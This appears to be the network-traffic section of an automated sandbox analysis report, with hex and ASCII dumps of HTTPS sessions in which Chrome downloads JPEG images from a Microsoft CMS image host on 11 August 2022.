Data Ascii: %t~0"Y){(pg:xs#0NFJOmq[O+-;Mfv-w`lu[o_e}*Kj=U2R855HJbW|n2%y,n/*v[x=hj^W^Y0k+YU~*YyUuJAg,[Y].2 
YDeO|Mq5

2022-08-11 03:42:55 UTC 7175 IN Data Raw: aa 50 11 ee 2b 28 6f ef 66 bd 59 03 89 a0 80 c6 54 f0 25 a4 44 93 fb ab bb 5a ae 14 06 c7 6d 3b e5 ad 1b 19 
3b 80 d6 ee e8 b4 f1 0a 4f 50 37 fe 59 91 bf 71 b7 68 70 e4 d3 28 4a 49 1a de 9c 78 06 a9 1e e2 3d fa bb 52 45 32 f1 60 
60 dd 0a 85 9f fd 06 ba 48 f3 0a 69 e0 ab 34 8c cc aa fc 24 1c 00 3a 64 bc 8c eb d4 ad 69 12 ad c8 8e 53 40 e4 73 7b b4 
d6 78 03 65 b9 e7 54 69 16 3a ec 07 83 37 10 47 b4 69 2a 9b 05 5b 60 a6 90 48 49 dd 43 ab 94 2e 5c cf 30 6d ca 2a 85 
69 5d 4d 29 12 ca 4f 2c e1 79 94 34 5e c3 ee 27 59 fe 20 78 45 6c bd 9c f0 11 2c 91 95 47 34 06 84 0a e9 e8 e4 7a b9 29 
a1 26 80 f8 8d 38 64 9e 69 58 80 b5 e3 a0 80 55 76 e3 f6 e9 92 08 4e d2 c6 69 a3 33 c6 39 54 57 fb 35 26 fc 01 21 3c 55 
c2 46 1e 77 b6 8e ee 17 5e 78 a4 a8 3f 9a 29 10 ac 91 3f e2 
Data Ascii: P+(ofYT%DZm;;OP7Yqhp(JIx=RE2``Hi4$:diS@s{xeTi:7Gi*[`HIC.\0m*i]M)O,y4^'Y xEl,G4z)&8diXUvNi39TW5&!
<UFw^x?)?

2022-08-11 03:42:55 UTC 7191 IN Data Raw: 8a 8b 38 a0 2c 0d ec b2 09 ae 26 2e 54 02 d4 60 8e c7 c3 a5 1f e9 ea 37 7d ee a3 fe b6 12 ce 59 aa 5c 91 26 
c5 30 6e 8a 4d bf a8 b4 31 31 f0 1f a9 cc bc cb af 4f 7a 55 fa 7f d2 74 e7 c8 58 bf bf 37 99 cf 96 92 38 4e 39 08 77 56 1f 
a4 64 d9 b1 20 94 7a 65 8d bf 53 fb 9a 87 de af 6f c0 4b 3c 81 bb c7 b8 21 b8 89 ad a4 74 b8 8e fa d5 a6 0b 28 00 56 3f 
fa 73 0a 37 a6 78 b9 5e 36 d1 d8 e6 1a 63 ce 4c 5e 5b 5c 9b 58 3f 48 6e 06 bd 44 26 92 7e 56 46 f4 c7 ab a5 92 cd 00 32 
99 c8 23 86 de 28 63 64 92 2d fb c1 a5 2a d4 da ca 7f 66 ab 5a bc 82 b5 ea f2 1c b7 cb 5b 63 6d 27 0d 29 37 37 22 3a f4 
8e d2 a3 cd 22 a9 f4 d7 97 cb a5 89 1a 12 24 c4 77 2e e2 5e fe 57 58 cf 82 93 51 2f a7 9b da ed f8 ab ad 64 fc 04 69 87 
56 da e7 27 13 c6 60 e4 40 2b 23 d7 7a 9f 61 8d 3c bf 
Data Ascii: 8,&.T`7}Y\&0nM11OzUtX78N9wVd zeSoK<!t(V?s7x^6cL^[\X?HnD&~VF2#(cd-*fZ[cm')77":"$w.^WXQ/di
V'`@+#za<

2022-08-11 03:42:55 UTC 7207 IN Data Raw: 2e a3 b8 4b fb 77 12 5d 27 2a 99 90 48 a1 29 44 3c dc 2a 8b e5 d2 ba e7 03 f5 3c 9f 1f 4b 5b 8c ac 91 24 d3 
ce 78 6e 50 d5 fc 71 b2 f9 5b 4b ed c0 8f 5a 45 ec bc 16 f6 92 1b 1b 04 76 82 43 1c 8b d6 3b 6a a5 46 e1 ff 00 e7 37 6d 
6d 73 6c aa 4f cc e7 b2 87 04 99 be d1 bb ed c6 b7 39 2b 6b 74 77 88 db 5b 94 7d c0 97 25 fa b2 04 e6 69 39 b9 35 d8 
9e 33 82 f5 a7 55 98 02 77 2e 0d b1 b2 5a 4b 90 09 24 cb 1e f0 e0 ed 65 04 f9 64 d7 3d db a6 17 d4 23 65 1b 7b 47 9a 
39 6d 1d 96 3b 72 44 94 60 0d 43 1e 5e 9f b7 fb ba 5a f9 85 24 b9 0d f6 57 67 5b f7 05 e2 63 2d 59 cb 30 72 f2 3d 17 a6 
b5 f3 2f f9 bf 0e cd 77 eb af 6e 0e 95 0f 80 3e 66 c5 e1 ba 48 fa 91 46 b1 cc 6c a2 11 9a 8a 93 d2 69 23 f3 37 ea 53 7e e6 
fd dd 2b 59 80 34 1f fa 8c f6 16 96 b6 38 3c 44 e6 cd 9d c2 
Data Ascii: .Kw]'*H)D<*<K[$xnPq[KZEvC;jF7mmslO9+ktw[}%i953Uw.ZK$ed=#e{G9m;rD`C^Z$Wg[c-Y0r=/wn>fHFli#
7S~+Y48<D

2022-08-11 03:42:55 UTC 7215 IN Data Raw: 4c 72 a0 b1 db ed d3 30 17 36 8a 6c 07 80 f7 6a 66 64 6f 53 50 45 0f 88 d1 41 23 0d e1 51 a2 62 50 45 3e ca 
e8 41 89 45 55 76 91 45 35 e3 a5 01 00 98 9e 53 ed d3 40 64 f5 b9 52 8b e1 5d 60 72 73 10 0c 0a 93 4a fb 75 98 19 73 
25 8a 16 4a 8d 14 cb 2a c8 01 aa f0 23 ec 3a 4a df b3 e0 55 69 21 91 23 00 10 38 8f 1d 30 e7 3d 50 4e da 72 eb 41 99 2c 
43 70 11 8e 04 f8 1d 03 16 79 a1 3b 47 df 4d 2b 15 fe 05 95 96 11 1f eb a8 20 93 4f 7e 95 23 55 f9 90 cb 6f 1b 93 f2 e7 94 
f8 29 f1 fb b4 dc 72 1e a4 b1 ac 89 44 96 a8 69 4a 1f 76 92 09 f5 72 4f 75 34 29 08 5a 03 21 fe dd 14 a5 96 06 ac 12 4a 
42 93 41 c4 fe cd 3c c1 89 d2 29 23 7d 83 83 82 38 ff 00 a8 e9 5b 90 17 03 ef 97 a9 70 dc c6 b4 61 ef 1a 53 34 4d 7d 35 
eb 43 ff 00 51 1b 45 13 9d eb ca 55 5a be a5 af fb 35 a1 
Data Ascii: Lr06ljfdoSPEA#QbPE>AEUvE5S@dR]`rsJus%J*#:JUi!#80=PNrA,Cpy;GM+ O~#Uo)rDiJvrOu4)Z!JBA<)#}8
[paS4M}5CQEUZ5

2022-08-11 03:42:55 UTC 7231 IN Data Raw: 0f 1f 2f d9 ab 40 ae 64 ee 4c 9d c6 32 09 6c 02 b0 12 95 24 d4 d3 87 9d 28 39 1d 1f f1 69 ab 91 a5 22 19 6f bf 
a8 ed f9 88 d7 90 70 29 cb c3 d9 55 f0 d3 70 32 b4 9e e6 2b 6f 64 f4 8c a4 5b 02 3b 1e 0c 49 35 55 65 ff 00 c3 ad 55 2c 
79 c0 93 13 00 d5 d7 53 42 87 5b b8 d2 f5 23 4b b5 56 78 80 50 40 e2 47 da da 8f da eb c0 66 4f 33 19 cd c8 12 d6 24 85 
17 85 00 e2 7e f6 f5 68 d6 9e 66 93 ac e6 5f 10 21 8e df 13 13 b3 32 0e ab cb 4f 31 f3 74 d7 46 ba dc cb 61 6c 5b 71 e0 
c3 c7 db ab 21 59 c5 6a da 20 2d 5a a2 30 2a fc 18 9f 1d 23 34 1f 09 82 1a 46 a3 97 db ac d0 46 4c 5e 4e 1c b5 bb db e4 
78 48 68 16 6f 6a fc 3b fe 25 d4 6d 5e ae 50 67 c0 60 c6 62 66 4b 65 82 39 3f ea d0 30 0e a4 d0 c6 7c c8 df 85 b5 2b 5a 
58 52 09 c7 9c 9b 1b 87 9f 19 34 05 ee 6f 54 c6 aa 08 
Data Ascii: /@dL2l$(9i"op)Up2+od[;I5UeU,ySB[#KVxP@GfO3$~hf_!2O1tFal[q!Yj -Z0*#4FFL^NxHhoj;%m^Pg`bfKe9?
0|+ZXR4oT

2022-08-11 03:42:55 UTC 7247 IN Data Raw: 5e 51 40 48 1a 58 37 25 b4 ba 65 2a 0b d7 ed 3a 58 0c 1d 9b c9 1b f5 16 9f d9 ad 06 26 b5 8d e4 61 1a 11 57 
61 4a 9a 0a 9f 49 f7 68 36 6e 02 07 b7 6e 26 98 da dc 28 82 78 c5 4a cd cb c3 f0 96 f3 0f 87 6e 82 70 60 0d fb 18 6e 08 
8d ab 4e 15 d5 2a b0 2c c1 c8 99 5b dc 1b c4 30 1e dd 68 0c 1d 8b ab 83 fa 7b 8f 31 a9 af 86 83 aa e4 32 77 69 2a 07 db 
3b 1d 86 a4 fe cd 06 bc 81 25 ac a3 2c 72 c7 d3 91 9e dd d7 70 52 6b b7 ec d0 aa c7 00 ed 20 90 78 f1 d5 02 89 12 42 
8d 55 e0 74 20 d2 5d 6b 16 97 99 c9 0a 7c bc 34 93 01 38 58 64 b5 ae da 80 78 57 df a2 dc 82 02 d6 97 2d 66 c2 7b 57 
0b 2e da 79 79 5e be 74 6a f0 ae 91 a0 c1 72 06 93 30 c4 16 d8 60 5a 94 60 4b 81 f1 2f c5 4f f7 75 bd a0 08 61 31 02 f1 
9a 09 36 bb a8 dc b2 06 ad 7e e5 f4 b7 a6 9a 0d 85 23 b8 b1 f1 
Data Ascii: ^Q@HX7%e*:X&aWaJIh6nn&(xJnp`nN*,[0h{12wi*;%,rpRk xBUt ]k|48XdxW-f{W.yy^tjr0`Z`K/Oua16~#

2022-08-11 03:42:55 UTC 7254 IN Data Raw: 60 4d 55 5c c6 bf df f4 ea 79 ae 24 66 3e 7d 29 fa b5 97 ef 6b d6 b0 c9 8e 94 10 20 91 99 41 1d 42 4d 04 75 6f 
6e 9d 36 f9 78 15 31 af bc b1 d7 39 db fb 7b 68 98 aa a1 3b 85 38 01 ef ae 93 62 76 70 53 81 0b eb 7f 73 d9 61 ed 93 15 
5d cc 40 69 3d e2 9e 51 fb cd a9 d9 66 11 bc 0c 6f 11 94 83 1e 12 69 54 bd 48 35 f7 13 ff 00 0a 8d 33 ac 93 90 3f 72 77 
1c 17 73 03 1e d0 82 b4 fb be 2f db a7 a5 20 cd 80 66 c8 2a a2 3a d0 94 f0 3a a2 a8 0a e7 2b 2b c5 22 33 53 77 1d 37 44 
09 38 e8 b1 50 eb 19 24 f8 d0 1d 6f ef 0c 93 43 04 92 ca 22 8a 36 2c 7c 45 0e 83 69 19 64 f7 22 4d b6 d8 07 29 15 0c 0e 
b2 ce 4d c1 14 8d 1f 48 10 bc 7e cd 63 49 36 1e 57 b4 69 25 8c 73 34 65 41 fb f4 2d 90 d7 05 9c 75 9b dc ac d3 50 3f 44 
6d 50 7e 26 d2 3b 24 3d 72 37 e3 31 30 c7 83 b7 70 ab 
Data Ascii: `MU\y$f>})k ABMuon6x19{h;8bvpSsa]@i=QfoiTH53?rws/ f*::++"3Sw7D8P$oC"6,|Eid"M)MH~cI6Wi%s4eA-uP?
DmP~&;$=r710p

2022-08-11 03:42:55 UTC 7270 IN Data Raw: 66 2c 49 72 4b 54 54 11 a0 12 74 be 27 c7 8f 0d 08 31 30 90 b2 71 d0 04 94 ee a3 a9 ad 78 69 8c 57 00 02 af 
f0 9a e8 84 32 d7 5d 49 59 87 00 e2 b4 f6 69 40 76 6e 48 2b 51 c3 db 4d 03 10 5e dd 07 62 07 bf 45 20 95 92 53 18 3e 3f 
66 b0 bc 12 cd 73 2c b1 85 22 a0 68 9b 25 35 46 da 14 8f 6e b0 24 f5 12 8d 51 e3 a3 26 2d c1 0e c2 49 f6 f8 69 18 0f 26 
87 6a 82 7d fa 26 3d 89 bf 52 37 22 8a 0e b0 49 cc ca e8 f5 f6 bd 47 bf 40 c0 2c aa 6e 9a a2 bc 06 a9 5e 0c c8 d2 42 2a 
7e ca 6b 1a 42 36 4d b1 92 52 78 81 a5 6c 3c 04 99 c4 b4 3b b8 e9 78 11 95 55 b9 9a b5 e1 a6 19 22 f5 ad b2 c8 a1 89 
a7 b7 40 c8 1f 79 02 9a b1 34 23 45 33 15 19 46 ef b7 4c 62 dd 90 0e 40 a8 3c 74 ad c0 38 18 31 10 35 eb 3c 09 4a 44 
8e ff 00 d8 35 06 23 b1 3e 3b 17 04 f1 ac b7 0a 46 dd c0 b0 3e 
Data Ascii: f,IrKTTt'10qxiW2]IYi@vnH+QM^bE S>?fs,"h%5Fn$Q&-Ii&j}&=R7"IG@,n^B*~kB6MRxl<;xU"@y4#E3FLb@
<t815<JD5#>;F>

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 7274 IN Data Raw: db 7e f4 5a ac 00 0b dc 58 3b dc 3c 82 0b c0 0a 35 4c 52 c6 77 c3 2a 8f 5d bc c3 92 55 fc be 5f 56 b2 fc 00 2f 
30 da 69 aa 18 f5 49 1e 1e 3a 06 3a 56 a6 b0 0e c1 ae 84 05 32 48 e4 da c0 e8 33 12 5f bf 50 03 c6 a3 c0 fd 87 d9 a1 53 
14 48 d5 0c cf 7e fd 60 23 e3 41 e1 ac 63 e0 09 f0 d6 09 ef b7 c7 40 cc f2 9a 20 3a 56 20 53 58 dc 1c 90 7c 46 b1 99 f0 
e2 3e dd 03 41 2c 5f eb d0 63 1d 6d 20 8d 09 04 12 15 aa a8 af b7 44 30 7d 1f 0f 11 ad 26 3d 5a 04 3e fd 06 06 5c 04 18 
b8 8e 34 e1 a5 0a 20 b7 14 7a 1f 0a eb 33 05 cc 48 69 46 3f b3 48 13 9b 88 08 63 cc 7c 34 51 88 96 3e 1e de 23 58 05 
b8 d0 04 a7 89 d2 98 8d a3 af 9b 58 c5 59 94 fe cd 14 12 72 48 1b 8f 1e 1a 32 62 74 05 80 a7 b3 42 40 55 96 12 58 d0 f0 
3f 6e b4 8b 12 72 f0 90 34 41 04 cb 19 03 89 27 42 4c d9 
Data Ascii: ~ZX;<5LRw*]U_V/0iI::V2H3_PSH~`#Ac@ :V SX|F>A,_cm D0}&=Z>\4 z3HiF?Hc|4Q>#XXYrH2btB@UX?nr4
A'BL

2022-08-11 03:42:55 UTC 7290 IN Data Raw: 3f d3 a2 a0 6c f9 8a f9 48 e4 56 60 1c 4a 38 f1 02 83 56 a9 36 01 90 15 dc 8e 86 be 14 07 8e ae 80 c1 d7 49 
b4 80 01 fe d1 a7 40 2a 33 35 68 74 c6 2f 5a b3 05 2a dc 0e 91 98 bd 18 71 c7 85 34 a6 3d 68 99 cd 46 d3 fb 74 24 24 f3 
44 e8 6a a1 40 a7 bc 9d 69 16 0e 40 b9 91 6b e9 1e df b3 5a 03 07 c0 4c c2 8a 6a 3e fd 68 04 12 c1 14 8e a5 80 24 8a 
82 7d 83 42 02 48 b0 ce 14 1a 70 3e 07 8e b0 48 ae 64 92 dc 54 aa d3 ed ae b2 40 83 9b 77 92 71 fa 60 0f 79 1a ce a8 
c5 9b e8 12 28 f7 ca a2 be f1 a5 19 d4 1e 52 2e 90 93 d8 7c 34 e0 82 ab 18 ab 51 c4 1d 30 0e 67 e8 ec 50 2a 1b 89 27 ef 
d6 46 2b bb 46 a0 69 8c 74 36 b7 81 d6 31 ef 05 3f 6e 80 1a 25 de dc 2a 3c 38 68 03 a9 c8 63 ba 85 7e ed 68 18 e6 59 8
4 66 8e aa 34 56 41 07 47 22 c4 6d 55 40 3e e1 ad 01 27 b7 b8 33 
Data Ascii: ?lHV`J8V6I@*35ht/Z*q4=hFt$$Dj@i@kZLj>h$}BHp>HdT@wq`y(R.|4Q0gP*'F+Fit61?n%*<8hc~hYf4VAG"m
U@>'3

2022-08-11 03:42:55 UTC 7306 IN Data Raw: 96 c6 49 22 7e e5 c7 5f 65 3a 18 bc 75 ba ed 8c 2b 4c 4d 15 04 a6 ae c9 bb cb 58 d7 6e 8c 9b 91 87 b6 6e ec 
70 97 02 d1 66 1f 30 d4 12 44 3c 3d ce da c8 05 3f a9 96 b9 87 77 c4 58 39 58 2e 06 d7 62 c4 6d 56 f3 11 a0 dc 38 61 fd 
86 69 dd 76 cd db 78 a5 c0 e2 e5 26 d8 93 23 35 00 2c d4 da 6a 74 b6 a2 b3 96 0a e1 19 3c d1 4b 74 6a ed 53 e0 4d 75 
d6 a1 11 79 1a be 95 dc 5e 59 e5 a3 8e 26 3d 39 2a 08 06 9e 03 42 cc 6a a3 6b ca c2 cf 0d 26 88 3b fc 75 d4 ec 8a 19 4e 
7f 1f 31 26 52 a1 54 7b 7d ba 48 83 34 d8 a6 71 eb 77 45 92 51 02 7b 4d 2b fe 81 aa a7 04 ca 57 76 dd 19 0c 51 31 95 
07 83 52 95 d3 26 06 1b c3 5c cb 06 d0 80 ef 34 a5 3d 9e fd 25 90 53 83 6b b2 ed 38 5a d1 1e 6a 48 25 5d d5 e0 7c 7d fa 
93 28 98 0e fb e9 44 73 b8 9a 08 f7 82 68 76 f1 d2 76 68 38 13 
Data Ascii: I"~_e:u+LMXnnpf0D<=?wX9X.bmV8aivx&#5,jt<KtjSMuy^Y&=9*Bjk&;uN1&RT{}H4qwEQ{M+WvQ1R&\4=%Sk8
ZjH%]|}(Dshvvh8

2022-08-11 03:42:55 UTC 7314 IN Data Raw: f9 74 18 05 83 3a 13 fc 31 c7 ed 27 49 01 c8 4b 17 8b f9 d7 08 b1 81 e1 5e 04 e9 5b 04 0d 69 d9 6a 8e b1 5c 
32 46 0f 89 60 68 3f db a4 61 80 4e 42 1b 2c 7a fe 99 32 bf e1 e5 ff 00 7b 9b 47 90 b0 33 65 e4 27 94 30 fb 98 e9 e0 01 
81 93 91 22 5b 8b 77 60 69 c7 71 dd fe bd 4f f6 98 75 ca 64 0e 43 b4 ad ef ed eb 15 c3 34 b1 48 47 1a 98 4a b3 15 fc 32 
47 2a 72 fa 74 1d 52 63 f6 14 9e 03 8d 11 cb 72 7a e9 25 0d 07 85 3d 5c 74 16 41 c1 a9 ff 00 ed e6 d6 db 27 dc 19 48 21 
1b ad d2 d0 18 9e 9c 07 38 f1 47 e7 e6 1c ba 2e 89 a1 19 9e 5c 32 58 df dd 24 84 cd 1c 72 4a ca 53 c0 82 cd b7 81 f7 6a 
7c 85 01 53 22 e0 33 40 36 6e 1e 1a a3 40 98 2a 5c cf 58 78 0a 1d de 3e de 1a 30 10 44 84 b3 54 e9 c2 79 20 15 f7 d3 
db a2 98 09 6d 0d 0d 7d 83 8e 85 82 5f 5a 24 01 83 15 63 c7 
Data Ascii: t:1'IK^[ij\2F`h?aNB,z2{G3e'0"[w`iqOudC4HGJ2G*rtRcrz%=\tA'H!8G.\2X$rJSj|S"3@6n@*\Xx>0DTy m}_Z$c

2022-08-11 03:42:55 UTC 7330 IN Data Raw: 4b 3b 01 11 b9 dc cb e2 76 8a 1a ff 00 8b 86 a9 e3 20 83 26 bb 4e 84 ad 19 35 0a 48 af dd ab 00 8b 76 de 20 
d7 44 12 4d 2b f2 ad 3d da 09 19 9c 23 57 81 d1 80 1d cb 18 42 08 e3 a5 0c 90 bc 84 54 68 84 ac c6 87 8e 9d 18 e8 12 
07 bf 58 c5 98 a4 2b 13 7d ba 58 c8 08 41 e1 b7 46 00 e4 9d 54 01 5e 35 d0 90 1c 80 5f c7 58 30 75 10 af 02 74 19 8e b6 
6d 34 f1 d0 34 9f 05 af 03 a2 12 27 20 03 a2 62 a1 35 3a a1 8f 80 d6 31 d8 1f db a0 63 a0 0e 83 31 2c 62 ba 53 16 2e 25 
a0 0b ee 1a 09 04 aa be f3 a6 60 47 4a a0 f8 e8 0b 12 76 00 3c 2b ac 12 55 83 77 02 c1 47 da 74 ad 99 97 ad 63 96 15 
db 1c aa 14 82 0f 1f 1a e9 5b 07 62 d0 b5 9a 48 c4 66 64 65 14 3c 5b 8f 0f 0d 27 68 62 76 18 2c 0e 42 f2 28 b1 f7 2d 6d 
7d 6b 18 db 14 33 4a aa ca 0f 82 5b 4f cb 2c 5f 85 37 32 7e 0d 
Data Ascii: K;v &N5Hv DM+=#WBThX+}XAFT^5_X0utm44' b5:1c1,bS.%`GJv<+UwGtc[bHfde<['hbv,B(-m}k3J[O,_72~

2022-08-11 03:42:55 UTC 7346 IN Data Raw: 81 68 67 5d d4 24 87 e1 e1 c8 d5 aa eb 6b f1 32 3b c5 46 d2 d8 12 69 ba 45 dc db 46 d2 c4 7b ff 00 fc 35 4a 
66 b0 35 45 7c fa 28 68 e2 55 2a ee 8c 17 89 35 1e dd ad ec d7 3e c5 08 4d 9c 0b b7 96 a9 6b 04 37 0c ac a5 94 12 cd 
53 c4 1a 7b 79 46 a7 57 24 56 0a a9 98 b8 59 a5 9b 90 44 54 05 3d 3a 82 6b e1 b5 57 89 fc db b5 d6 8e 9a b5 05 0c e0 
bb be b5 32 28 0b 30 af 00 8a b5 1f 71 5f f1 69 ea fc c5 82 fe 0a 48 2e 61 8e ce f8 98 a3 50 14 84 62 bc 7f 13 2e 8a 89 17 
83 8c ab 45 0c 33 5b db bb cb 4f e1 ac 84 70 e3 e9 91 02 96 dd f8 b4 d6 b2 1e 64 52 96 da e2 e4 03 25 61 03 c4 23 90 0f 
f7 78 e9 7b 24 2c c0 4a da e8 d8 c4 e8 08 61 29 1c 1c 6f 22 9e a0 5f 75 34 8b 26 a9 02 64 e0 56 dd 2a d5 8f 85 15 07 87 
ff 00 4e ba 78 28 d3 44 19 bb a8 67 5e a4 f1 b2 af 03 c5 c1 
Data Ascii: hg]$k2;FiEF{5Jf5E|(hU*5>Mk7S{yFW$VYDT=:kW2(0q_iH.aPb.E3[OpdR%a#x{$,Ja)o"_u4&dV*Nx(Dg^

2022-08-11 03:42:55 UTC 7354 IN Data Raw: ff 00 84 ea 73 2f 91 ca f3 dc d8 c4 a3 72 2a b1 1c 02 2b 15 e3 f7 9d da 65 2c 56 5e 5b 3c 3b db ef b7 0f 23 54 
6f 0e b4 fe e9 5d 06 d8 52 19 3b 6e f0 61 9a 2c 9d 93 08 5e 07 57 8c 91 e0 c3 df fe 62 fb d3 49 dd a6 37 52 c6 5b 34 ec 
e2 4b 5b c9 66 91 dd a4 74 49 65 54 52 e7 71 fd 39 18 15 dc df bb a7 76 6f 2c 0b 07 b7 39 5c b4 d6 ce 8c 44 90 80 03 47 
24 5b 88 fd f7 4a f1 fc da 98 45 bb ad a9 12 ef b4 48 c8 f5 2f 03 4f d9 a2 bf 68 25 14 6d cc 25 98 6c 62 4f b7 76 9e 18 19 
eb 0d ea f5 20 21 f1 f7 d7 45 82 0a 6b 48 a4 56 40 07 ed ae 8a 03 45 cb a9 5e 75 21 9e aa 28 40 f6 d7 4a 83 04 8f 11 99 
01 9c 9a 80 01 04 1a fe cd 69 83 41 f6 32 df a8 59 16 bb 07 b7 59 b3 0c 56 a1 99 1a 2a d4 53 c3 6d 75 26 c6 2a 4d 8e 86 
1a 09 89 a1 f1 a5 7f d3 a2 98 5a 2b 5c e2 e1 b7 9b 
Data Ascii: s/r*+e,V^[<;#To]R;na,^WbI7R[4K[ftIeTRq9vo,9\DG$[JEH/Oh%m%lbOv !EkHV@E^u!(@JiA2YYV*Smu&*MZ+\

2022-08-11 03:42:55 UTC 7370 IN Data Raw: 84 32 6d 31 a6 eb ba 6c 92 c8 47 6c c1 e3 5e 2c 5a aa df 75 29 b7 52 74 72 65 46 27 4d 99 5b cb a6 6b 75 2e 
b5 e0 be 04 8f fb 75 4e b1 c9 53 88 72 a2 d2 57 32 c5 b8 13 50 a4 f8 69 92 16 0e ec a4 86 79 c3 ce 24 44 20 ed da bb aa 
7e e3 b7 49 6e 0d 01 98 3b 3c dd 40 6e 6c 25 17 12 56 86 30 84 10 3f 6f bb d5 a9 3b 40 3b 40 0b 23 63 32 13 06 dd ee 
be 6d a2 b4 fb f4 d5 b2 0b 65 8b 7b f0 21 48 5e 33 44 1c cd c7 fd 9a 47 59 c8 1a 2b 23 18 dc b2 f3 2b 71 af 8e 99 29 14 
b4 b9 9e 9d fc 57 53 a9 e9 46 78 85 73 13 1e 14 e1 32 86 64 fe ee a8 90 c9 15 1b 36 f0 86 82 35 47 06 a4 52 84 d0 fd be 
af cd a4 e9 39 07 56 d8 36 5b f9 e7 5d 9d 3a 7b 38 f1 a6 ac a8 90 ea 90 73 15 8f cd 03 b9 82 00 3d 8b e3 4f b7 4f da 02 
d9 63 1d 82 8a 79 36 16 90 0f 89 56 bf e8 f7 69 1e d0 f6 0b 
Data Ascii: 2m1lGl^,Zu)RtreF'M[ku.uNSrW2Piy$D ~In;<@nl%V0?o;@;@#c2me{!H^3DGY+#+q)WSFxs2d65GR9V6[]:{8
s=OOcy6Vi

2022-08-11 03:42:55 UTC 7374 IN Data Raw: a4 d4 5e 20 8a 00 78 8f 7e ed 25 91 3b 0c 1d d3 13 cd 60 2e 60 69 15 12 b5 e8 8e 1f bd 4a 6a 6b 90 54 cd da 
56 90 0e 24 8f b7 57 2d 04 51 02 5b db a2 02 6b 87 91 05 3c 09 d6 46 92 11 b8 8e 63 a6 1d 04 2d ec a5 9a d6 49 11 c2 
c6 0a d4 15 26 a7 ef 1e 5d 29 a4 fa d5 52 19 03 4b 46 1c 0d 2b ac 0b 06 72 57 11 4d 1a f4 81 8f ef e2 34 a2 40 06 5b 59 
a2 1b c9 e5 d1 0a 2b dc 31 db b4 9f bf 4c 8a c9 0c 33 1f e1 d7 86 8b 05 91 21 90 a7 0f 6e 96 24 44 8e 42 34 8c 36 82 49 
f7 68 8f 25 9b 78 39 cc 6f 55 6a 70 f6 6b 01 9c b4 44 12 a7 c4 68 49 a4 86 26 e3 4a d3 46 0c 5f b5 c4 c9 3d 1a 32 38 d7 
da 74 ad c0 24 82 e2 d1 97 c4 9a 8f 1d 19 0b 45 77 4a 02 7d 80 f1 1a 28 2c 8c a9 af 85 2b c7 44 64 d9 e9 1c b4 f7 68 0a 
91 c2 82 8b f6 d7 4c 12 49 9c b2 01 ec f1 d0 46 83 98 a3 dc 
Data Ascii: ^ x~%;`.`iJjkTV$W-Q[k<Fc-I&])RKF+rWM4@[Y+1L3!n$DB46Ih%x9oUjpkDhI&JF_=28t$EwJ}(,+DdhLIF

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

153 192.168.11.20 49795 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2117 OUT GET /cms/api/am/imageFileData/RWz5qH?ver=edea HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-08-11 03:42:55 UTC 2118 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWz5qH?ver=edea
Last-Modified: Tue, 09 Aug 2022 09:43:40 GMT
X-Source-Length: 614164
X-Datacenter: northeu
X-ActivityId: 25ab195c-8268-4191-acc5-9d9c5e736724
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 614164
Cache-Control: public, max-age=280827
Expires: Sun, 14 Aug 2022 09:43:22 GMT
Date: Thu, 11 Aug 2022 03:42:55 GMT
Connection: close

2022-08-11 03:42:55 UTC 2119 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-08-11 03:42:55 UTC 2232 IN Data Raw: 47 02 ac 08 de 55 e7 3f 8d 7c a7 aa 7e dc 26 3b 74 6b 2f 06 1f 3c 85 dd f6 9b c1 b3 38 e4 0d ab 9f a5 73 b3 fe 
db fe 32 99 49 b5 d0 b4 5b 34 c7 1e 60 92 43 9f fb e8 66 a3 91 bd 51 ac 63 23 ed 01 09 e0 1f c6 ac 44 a4 37 3d 2b e1 37 
fd b3 3e 23 95 c9 3a 3c 5f 4b 0f d3 96 39 ad 4d 0b f6 de f1 6e 9d 6b 1c 57 fa 36 9d ab ec c8 37 05 9e 06 6c 9c f6 24 71 d3 
a5 4b a5 26 69 b1 f7 5d b3 28 e4 9e 95 3b 33 37 20 8a f9 bf e1 bf ed 91 e1 6f 15 dd 45 63 af c1 27 85 2e e5 c0 49 6e 25 
59 2d 59 bd 3c c1 8d 84 f6 c8 c7 bd 7b 6c 5e 3c d0 de da 39 d3 55 b3 96 d9 a4 58 96 58 26 59 17 73 1c 28 25 49 c6 4f 73 
c5 73 4a 9c 93 d8 d5 54 5d 4e b2 17 62 98 3c 55 6b 86 68 f2 09 38 f5 aa ff 00 6e 55 e0 9c 62 a2 7b d4 70 41 3f 8d 63 ca 
ee 6b ce 89 65 9c 2c 64 8e 05 51 92 fb cb ef d7 b5 
